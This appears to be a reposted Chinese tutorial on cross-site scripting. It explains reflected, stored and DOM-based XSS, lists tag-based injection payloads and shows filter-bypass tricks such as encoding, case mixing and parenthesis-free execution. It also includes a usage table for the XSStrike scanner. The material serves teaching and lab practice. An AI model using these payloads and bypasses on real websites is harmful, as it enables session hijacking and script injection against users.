【Web安全】XSS攻击与绕过

news2025/1/12 4:56:55

【Web安全】XSS攻击与绕过

【Web安全靶场】xss-labs-master 1-20

文章目录

  • 【Web安全】XSS攻击与绕过
    • 1. XSS攻击是啥?
    • 2. XSS如何发生?
    • 3. XSS分类
      • 3.1. 反射型
      • 3.2. 存储型
      • 3.3. DOM型
    • 4. XSS攻击方式
      • 1. script标签
      • 2. img标签
      • 3. input标签
      • 4. details标签
      • 5. svg标签
      • 6. select标签
      • 7. iframe标签
      • 8. video标签
      • 9. audio标签
      • 10. body标签
      • 11. textarea标签
    • 5. 常见绕过方式
      • 1. 空格过滤
      • 2. 引号过滤
      • 3. 括号过滤
      • 4. 关键词过滤
      • 5. 编码绕过
      • 6. url地址过滤
      • 7. 伪协议
    • 6. xsstrike

1. XSS攻击是啥?

XSS(跨站脚本攻击)是一种常见的网络安全漏洞,它允许攻击者将恶意脚本注入到网页中,以便在用户的浏览器上执行。这些恶意脚本通常是JavaScript代码(当然不限于js代码,java,vbscript,activeX,Flash,HTML也能够构造攻击),可以利用浏览器的漏洞来窃取用户信息、篡改网页内容、跳转到恶意网站等。

XSS攻击的原理是通过在网页中注入恶意脚本,这些脚本会在用户浏览该网页时执行。攻击者可以利用各种方式将恶意脚本注入到网页中,包括在输入框中输入恶意代码、通过URL参数传递恶意脚本、利用未经过滤的用户输入等。

XSS攻击的危害包括但不限于:

  1. 网络钓鱼、盗取用户信息如Cookie
  2. 弹出广告页面,获取相关利益。
  3. 劫持用户会话,执行任意操作
  4. 传播蠕虫病毒。

2. XSS如何发生?

例如:<input type=“text” name=“name” value=“”>
当用户输入不是正常想要输入的内容,而是输入一串代码:“/><script>alert(document.cookie)</script>。
变成:<input type=“text” name=“name” value=”“/><script>alert(document.cookie)</script>”>从而代码就会执行。这个过程中涉及构造闭合,构造js代码。

常见的XSS发生位置有评论区,留言区,个人信息等,这些都能够存储在服务器的并且大规模传播的风险比较高,因为不同用户只要看到这个页面就会触发脚本攻击,管理员也是。同样的中低风险,常见于私信、搜索框、URL、筛选等,这些可以构造特定用户攻击、网络钓鱼等。

3. XSS分类

XSS攻击常见分三类:反射性、存储型、DOM型

3.1. 反射型

反射型XSS的原理就是将用户输入的内容作为代码让浏览器执行,一般需要引诱用户访问攻击者构建的URL。这种类型的攻击指发生在客户端上,并且需要访问带有恶意的参数特制的URL,所以也称之为非持久型XSS。

  1. 攻击者构造了一个包含恶意代码的URL并把它发给受害者,比如说发送受害者信息。
  2. 受害者点击攻击者构造的URL,网站执行并响应
  3. 受害者浏览器执行响应中的恶意脚本,将受害者的cookies信息发给攻击者服务器。

比如说xss-labs第一关http://192.168.255.128/xss-labs-master/level1.php?name=<script>alert(document.cookie)</script>,参数name后面是攻击者构建的代码,这一串代码的作用是弹出cookie信息,当然也可以让它发送到特定网站,攻击者只要柔诱导受害者点击这个信息就会产生攻击。

3.2. 存储型

存储型XSS是将脚本永远嵌入某一个页面中,当用户访问的时候就会触发执行,从而用户受到相关的攻击。并且该类型的攻击主要发生在服务端,所有用户访问该页面都将受到相应的攻击,所以也称之为持久型XSS。

  1. 攻击者利用网站的一个表单(比如说评论区、留言区),将恶意字符串即脚本代码插入到网站数据库中。
  2. 受害者向网站请求页面,网站产生响应,引入恶意字符串发送给受害者。
  3. 受害者浏览器识别出这时脚本代码,并执行。

比如说pikachu靶场的存储型XSS,我们把**hahahaha<script>alert(“xss”)/script>**发送到留言板,查看源代码发现js代码成功嵌入。

在这里插入图片描述

3.3. DOM型

DOM型XSS攻击(Document Object Model Cross-Site Scripting)是一种特殊的XSS攻击,其原理是利用客户端浏览器对DOM(文档对象模型)的操作进行攻击。与传统的XSS攻击不同,DOM型XSS攻击不需要服务器端的参与,而是完全在客户端执行。

DOM型XSS攻击的主要原理是攻击者通过构造恶意URL,向目标网页传递参数,然后在客户端浏览器中执行恶意脚本。当目标网页的JavaScript代码解析URL参数并将其插入到DOM中时,如果没有对参数进行适当的过滤和处理,就可能导致恶意脚本的执行。

可以说和反射型xss区别不大,只不过DOM没有于服务器进行交互,完全是在前端进行的。

例如pikachu的XSS-DOM,抓包试试,完全没有任何数据包:

在这里插入图片描述

4. XSS攻击方式

1. script标签

<script>alert("xss");</script>

注释:这是最基本的XSS攻击形式。通过插入<script>标签,攻击者可以在受害者的浏览器上执行任意JavaScript代码。在这个例子中,它会显示一个警告框,显示消息"xss"。

2. img标签

<img src=1 onerror=alert("xss")>

注释:利用<img>标签的onerror事件。如果图片加载失败(例如,src设置为不存在的资源),则执行onerror中的JavaScript代码。

3. input标签

<input onblur=alert("xss") autofocus><input autofocus>
<input onfocus=alert("xss")>
<input onclick=alert("xss")>
<input onmouseover=alert("xss")>

注释:通过在<input>标签的事件处理器中嵌入代码。例如,onblur事件在元素失去焦点时触发,onfocus在元素获得焦点时触发,onclick在点击时触发,onmouseover在鼠标悬停时触发。

4. details标签

<details ontoggle=alert("xss");>

注释:利用HTML5的<details>标签,当用户切换显示/隐藏详情时,触发ontoggle事件。

5. svg标签

<svg onload=alert("xss")>

注释:使用SVG图像格式的<svg>标签。onload事件在SVG加载完成时触发,可以用于执行恶意代码。

6. select标签

<select onfocus=alert("xss")></select>
<select onfocus=alert("xss") autofocus>

注释:在<select>标签中使用onfocus事件。当下拉列表获得焦点时,触发JavaScript代码。

7. iframe标签

<iframe onload=alert("xss")></iframe>

注释:利用<iframe>标签的onload事件。当iframe加载完成后,执行指定的JavaScript代码。

8. video标签

<video><source onerror=alert("xss")>

注释:通过<video>标签中的<source>元素的onerror事件。如果视频源文件加载失败,将执行错误处理代码。

9. audio标签

<audio src=1 onerror=alert("xss")>

注释:与<img>标签类似,这里使用<audio>标签的onerror事件来执行代码。如果音频文件加载失败,将触发onerror事件。

10. body标签

<body onload=alert("xss")>

注释:在HTML的<body>标签的onload事件中嵌入代码。当页面加载完成时,会执行此代码。

11. textarea标签

<textarea onfocus=alert("xss"); autofocus>

注释:使用<textarea>元素的onfocus事件。当文本区域获得焦点时,将执行指定的JavaScript代码。

5. 常见绕过方式

这里只是列举出常见的,详细看这个XSS攻击绕过过滤方法大全(转)

1. 空格过滤

当空格被过滤了,可以用**/和注释符**代替空格,

<img/src="x"/onerror=alert(1);>
<img/**/src="x"/**/onerror=alert(1);>

2. 引号过滤

在html中可以不使用引号,在js中,可以用反引号代替单双引号

<img src=x onerror=alert(`xss`);>
除了单引号其他都被编码,可以试试onclick

3. 括号过滤

当括号被过滤的时候可以使用throw来绕过。throw 语句用于当错误发生时抛出一个错误。(末尾有解释)

<img src=x onerror="javascript:window.onerror=alert;throw 1">
<a onmouseover="javascript:window.onerror=alert;throw 1>

4. 关键词过滤

关键词过滤可能可以使用大小写绕过、双写绕过、字符串拼接绕过

<sCRiPt>alert(1);</sCrIpT>
<scrscriptipt>alert(1);</scrscriptipt>
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">  反引号代替单双引号

5. 编码绕过

使用Unicode、url、Ascii、hex、base64绕过

// Unicode
javasc&#x72;&#x69;pt:alert(/xss/)     (编码了r和i)
// url
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
// Ascii
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
// hex
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
// base64
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">

6. url地址过滤

// 使用URL编码
// 十进制、八进制、十六进制IP
// 用//代替http://
// 使用中文句号代替英文点号

7. 伪协议

"><a href=javascript:alert(/xss/)>   o_n和<scr_ipt>过滤

6. xsstrike

版本:XSStrike v3.1.5

项目地址:

https://github.com/s0md3v/XSStrike
参数描述使用示例
-h, --help显示帮助信息并退出python3 xsstrike.py -h
-u TARGET, --url TARGET指定目标URLpython3 xsstrike.py -u http://example.com/111.php?q=123
--data PARAMDATA提供POST数据python3 xsstrike.py --data "username=admin"
-e ENCODE, --encode ENCODE有效载荷编码python3 xsstrike.py -e base64
--fuzzer启动模糊测试器python3 xsstrike.py --fuzzer
--update更新XSstrikepython3 xsstrike.py --update
--timeout TIMEOUT设置请求超时时间python3 xsstrike.py --timeout 10
--proxy使用代理服务器python3 xsstrike.py --proxy http://127.0.0.1:8080
--crawl爬行目标网站以发现更多页面python3 xsstrike.py --crawl
--json将POST数据视为JSONpython3 xsstrike.py --data '{"user":"admin"}' --json
--path在路径中注入有效Payloadpython3 xsstrike.py --url http://example.com --path
--seeds ARGS_SEEDS从文件加载URL作为种子python3 xsstrike.py --seeds urls.txt
-f ARGS_FILE, --file ARGS_FILE从文件加载有效Payloadpython3 xsstrike.py -f payloads.txt
-l LEVEL, --level LEVEL设置爬行深度级别python3 xsstrike.py --level 2
--headers [ADD_HEADERS]添加HTTP头部python3 xsstrike.py --headers "User-Agent: Custom"
-t THREADCOUNT, --threads THREADCOUNT设置线程数量python3 xsstrike.py --threads 5
-d DELAY, --delay DELAY设置请求之间的延迟时间python3 xsstrike.py --delay 1
--skip跳过确认对话框和PoC(概念验证)python3 xsstrike.py --skip
--skip-dom跳过DOM检查python3 xsstrike.py --skip-dom
--blind在爬行时注入盲目XSS有效Payloadpython3 xsstrike.py --blind
--console-log-level {DEBUG,INFO,RUN,GOOD,WARNING,ERROR,CRITICAL,VULN}设置控制台日志级别python3 xsstrike.py --console-log-level INFO
--file-log-level {DEBUG,INFO,RUN,GOOD,WARNING,ERROR,CRITICAL,VULN}设置文件日志级别python3 xsstrike.py --file-log-level DEBUG
--log-file LOG_FILE设置日志文件的名称python3 xsstrike.py --log-file xsstrike.log

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1498906.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【IC设计】Windows和Ubuntu下安装Verilator

文章目录 Windows下安装verilatorUbuntu下安装verilator安装前的准备安装verilator检查 Windows下安装verilator windows下安装比较麻烦&#xff0c;需要首先安装cygwin&#xff0c;cygwin是一个包管理工具&#xff0c;类似apt&#xff0c;然后通过cygwin安装verilator所需的各…

『大模型笔记』LLM框架(LangChain、LlamaIndex、Haystack、Hugging Face)哪一个是满足您特定需求的最佳选择?

LLM框架(LangChain、LlamaIndex、Haystack、Hugging Face)哪一个是满足您特定需求的最佳选择&#xff1f; 文章目录 1. LangChain1.1. 优势1.2. 劣势1.1. 理想用例 2. LlamaIndex2.1. 优势2.2. 劣势2.3. 理想用例 3. Haystack3.1. 优势3.2. 劣势3.3. 理想用例 4. Hugging Face…

CSAPP-程序的机器级表示

文章目录 概念扫盲思想理解经典好图安全事件 概念扫盲 1.汇编代码使用文本格式&#xff0c;相较于汇编的二进制可读性更好 2.程序内存包括&#xff1a;可执行的机器代码、操作系统需要的信息、管理过程调用和返回的运行时栈、用户分配的内存块 3.链接器为函数调用找到匹配的可…

ffmpeg maxrate 导致转码输出的内容包含随机性

https://trac.ffmpeg.org/wiki/Limiting%20the%20output%20bitrate 问题 领导提出了一个问题&#xff0c;为什么转码后的视频大小字节数据都不一样&#xff0c;这问到我了&#xff0c;一时语塞。查一下吧&#xff0c;没有什么资料支撑。主动试一下。 尝试 首先尝试一下直接…

JVM-对象创建与内存分配机制深度剖析 3

JVM对象创建过程详解 类加载检查 虚拟机遇到一条new指令时&#xff0c;首先将去检查这个指令的参数是否能在常量池中定位到一个类的符号引用&#xff0c;并且检查这个 符号引用代表的类是否已被加载、解析和初始化过。如果没有&#xff0c;那必须先执行相应的类加载过程。 new…

C# 用 System.Xml 读 Freeplane.mm文件,生成测试用例.csv文件

Freeplane 是一款基于 Java 的开源软件&#xff0c;继承 Freemind 的思维导图工具软件&#xff0c;它扩展了知识管理功能&#xff0c;在 Freemind 上增加了一些额外的功能&#xff0c;比如数学公式、节点属性面板等。 编写 read_Xml.cs 如下 using System; using System.IO…

SpringMVC-异步调用,拦截器与异常处理

1.异步调用 1.发送异步请求 <a href"javascript:void(0);" id"testAjax">访问controller</a> <script type"text/javascript" src"js/jquery-3.7.1.js"></script> <script type"text/javascript&qu…

基于 Win Server 2008 复现 IPC$ 漏洞

写在前面 本篇博客演示了使用 winXP&#xff08;配合部分 win10 的命令&#xff09;对 win server 2008 的 IPC$ 漏洞进行内网渗透&#xff0c;原本的实验是要求使用 win server 2003&#xff0c;使用 win server 2003 可以规避掉很多下面存在的问题&#xff0c;建议大家使用 …

Bytebase 签约合思,覆盖多云数据库变更发布,数据访问控制,安全治理的全生命周期,确保符合合规审计要求

在数字化快速发展时代&#xff0c;有效的规范数据库管理对企业安全运营至关重要。近日&#xff0c;数据库 DevOps 团队协同管理工具 Bytebase 签约费控领域领军企业合思&#xff0c;旨在全面优化数据库操作管理&#xff0c;收口全体员工的变更和查询操作&#xff0c;以提高整体…

Linux环境下使用interrupt方式操作UART

目录 概述 1 Linux环境下UART设备 2 轮询方式操作UART功能实现 2.1 打开串口函数&#xff1a;usr_serial_open 2.2 关闭串口函数&#xff1a; usr_serial_close 2.3 发送数据函数&#xff1a; usr_serial_sendbytes 2.4 接收数据函数&#xff1a; usr_serial_readinterr…

YOLOv8改进 | 主干篇 | 轻量级的低照度图像增强网络IAT改进YOLOv8暗光检测(全网独家首发)

一、本文介绍 本文给大家带来的改进机制是轻量级的变换器模型&#xff1a;Illumination Adaptive Transformer (IAT)&#xff0c;用于图像增强和曝光校正。其基本原理是通过分解图像信号处理器&#xff08;ISP&#xff09;管道到局部和全局图像组件&#xff0c;从而恢复在低光…

在高并发、高性能、高可用 三高项目中如何设计适合实际业务场景的分布式id(一)

分布式ID组件&#xff1a;黄金链路上的关键基石 在现代分布式系统中&#xff0c;分布式ID组件无疑扮演着至关重要的角色。作为整个系统的黄金链路上的关键组件&#xff0c;它的稳定性和可靠性直接关乎到整个系统的正常运作。一旦分布式ID组件出现问题&#xff0c;黄金链路上的…

微前端之使用无界创建一个微前端项目

wujie 使用手册 使用简介 主应用配置 安装 wujie依赖main.js配置 是否开启预加载 生命周期函数 – lifecycle.js配置 子应用配置 跨域设置运行模式 生命周期改造 在主应用中&#xff0c;使用wujie&#xff0c;将子应用引入到主应用中去 wujie 使用手册 wujie 是一个基于 Web…

加密 / MD5算法 /盐值

目录 加密的介绍 MD5算法 盐值 加密的介绍 加密介绍&#xff1a;在MySQL数据库中, 我们常常需要对密码, 身份证号, 手机号等敏感信息进行加密, 以保证数据的安全性。 如果使用明文存储, 当黑客入侵了数据库时, 就可以轻松获取到用户的相关信息, 从而对用户或者企业造成信息…

11. C语言标准函数库

C语言制定了一组使用方式通用的函数&#xff0c;称为C语言标准函数库&#xff0c;用于实现编程常用功能&#xff0c;标准函数库由编译器系统提供&#xff0c;并按功能分类存储在不同源代码文件中&#xff0c;调用标准库内函数时需要首先使用 #include 连接对应的源代码文件。 【…

MATLAB | MATLAB版玫瑰祝伟大女性节日快乐!!

妇女节到了&#xff0c;这里祝全体伟大的女性&#xff0c;节日快乐&#xff0c;事业有成&#xff0c;万事胜意。 作为MATLAB爱好者&#xff0c;这里还是老传统画朵花叭&#xff0c;不过感觉大部分样式的花都画过了&#xff0c;这里将一段很古老的2012年的html玫瑰花代码转成MA…

Git 内幕探索:从底层文件系统到历史编辑的全面指南

微信搜索“好朋友乐平”关注公众号。 1. Git 底层文件对象 #mermaid-svg-uTkvyr26fNmajZ3n {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-uTkvyr26fNmajZ3n .error-icon{fill:#552222;}#mermaid-svg-uTkvyr26fNmaj…

K8S之实现业务的金丝雀发布

如何实现金丝雀发布 金丝雀发布简介优缺点在k8s中实现金丝雀发布 金丝雀发布简介 金丝雀发布的由来&#xff1a;17 世纪&#xff0c;英国矿井工人发现&#xff0c;金丝雀对瓦斯这种气体十分敏感。空气中哪怕有极其微量的瓦斯&#xff0c;金丝雀也会停止歌唱&#xff1b;当瓦斯…

前端工程化【01】:核心思想、发展历程和面临挑战

前端工程化是指将前端开发中的工具、流程和方法进行规范化和自动化&#xff0c;以提高前端开发效率、提升代码质量和项目可维护性的一种开发方式。通过前端工程化&#xff0c;可以将前端开发过程中的重复工作自动化&#xff0c;减少开发者的重复劳动&#xff0c;提高开发效率。…

✅ Windows11 系统 I 卡独显 A770 安装 深度学习 Pytorch 环境

&#x1f4cb; 文献参考 这里非常感谢知乎上的 ‘丢丢’ 的[**Windows系统下英特尔独显Pytorch的历程**] 为我提供了一开始的 I 卡安装想法&#xff01;但是文中并未介绍如何进行额外的环境变量操作问题&#xff0c;导致很多软件直接安装至系统盘&#xff0c;占用系统盘空间&am…